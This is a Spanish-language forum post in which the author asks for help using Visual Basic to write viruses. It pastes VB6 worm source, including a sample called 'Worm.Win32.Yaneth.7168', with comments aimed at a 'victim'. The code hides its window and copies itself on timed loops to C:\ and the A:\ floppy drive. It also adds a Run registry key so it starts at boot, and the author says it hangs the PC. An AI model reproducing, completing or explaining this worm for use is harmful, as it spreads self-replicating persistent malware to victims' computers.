wenas... hace poco que uso el SsS, y ademas lo tengo en ingles... y nose usarlo lei unas guias pero nada...
nose usarlo,Si alguien me pudiera decir como usarlo... se lo agradeceria...
Haora mi problema con el Visual basic, mi problema es que no se usarlo como programador de virus... me salen un monton de maneras de usarlo...
pero nose en que modelidad ponerlo para introducir el codigo y acer el virus aki tengo un gusano pero nose que parte es el cliente y que parte es el gusano... ayudarme
Hace mucho que tengo este codigo en la pc
aki dejo el codigo
Sub Form_Load()
On Error Resume Next
Open “C:\ Worm.Win32.TutorialVB.TXT” For Output As #1 'ruta que seguira el Worm puedes darle otra ruta.. ten ojo en esto
Print #1, “Este TXT lo genero”
Print #1, “el”
Print #1, “Worm.Win32.TutorialVB”
Close #1
End Sub
'----------------------------------------------------------------------------------
'----------------------------------------------------------------------------------
Sub Form_Load()
Do ' esto al contrario que el On Error Resume Next verifica a cada momento si el tienmpo actual es el que se declara para volver a copiarse
If Minute(Now) = 3 Then FileCopy App.EXEName & ".EXE", ".\HijodelGusano.EXE"
End Sub
'----------------------------------------------------------------------------------
'como ves esto es por ejemplo el minuto es 3 pues el worm se vuelve a copiar en el destino introducido
'Seguimos añadiendo informacion sobre los segundos ahora... no hace falta que siga explicando.... no?
'----------------------------------------------------------------------------------
Sub Form_Load()
On Error Resume Next
Do
If Minute(Now)= 5 And Second(Now) = 5 Then FileCopy App.EXEName & ".EXE", ".\K.EXE"
Loop
End Sub
'----------------------------------------------------------------------------------
'esto otro ara que el Worm se copie en el directorio que se declara, cada
'vez que el minuto y el segundo coincida con los del sistema... todo esto
'se añade para que este se auntocopie el mayor numero de veces posible
' asta ay te digo tu ya az lo que veas (la declaracion second(now) y minute
'(now) las utiliza para conocer la hora y segundos actuales de el systema
' de tu victima lo que hace aqui es llamarla a partir de declaraciones...
"ESTO NO LO COPIES EN el FORM e " weno explico un poco como hacer invisible el FORM a la derecha del programa ay como una lista de las propiedades de el form, bueno pues buscamos la propiedad "Visible" y cambiamos el "true" por el "false" y ya no dara el cantazo...
' EMPIEZA A COPIAR!! Aki dejo el codigo de este worm Worm.Win32.Yaneth.7168. es bueno añadelo al form
'-------------------------------------------------------------------------
Private Sub Form_Load()
A = App.EXEName
E = ".exe"
C = "C:\Yaneth.exe"
On Error Resume Next
FileCopy A & E, C 'seguimiento de las 4 lineas anteriores hace que cumplan su funcion "copiarese
Set Yanet = CreateObject("WScript.Shell" ) Yanet.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C
Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC>FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1
Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
If M = 20 And S = 0 Then FileCopy A & E, Y
If M = 25 And S = 0 Then FileCopy A & E, Y
If M = 30 And S = 0 Then FileCopy A & E, Y
If M = 35 And S = 0 Then FileCopy A & E, Y
If M = 40 And S = 0 Then FileCopy A & E, Y
If M = 45 And S = 0 Then FileCopy A & E, Y
If M = 50 And S = 0 Then FileCopy A & E, Y
If M = 55 And S = 0 Then FileCopy A & E, Y
Loop
End Sub 'crea una shell en el registro, se copia en C, A, E
'---------------------------------------------------------------------
lo que hace es colgar la PC es sencillo pero esta bien para .... a tu victima... se autoejecuta al iniciar l PC!..
Por fabor quien sepa usar el VB q me diga como usarlo gracias...!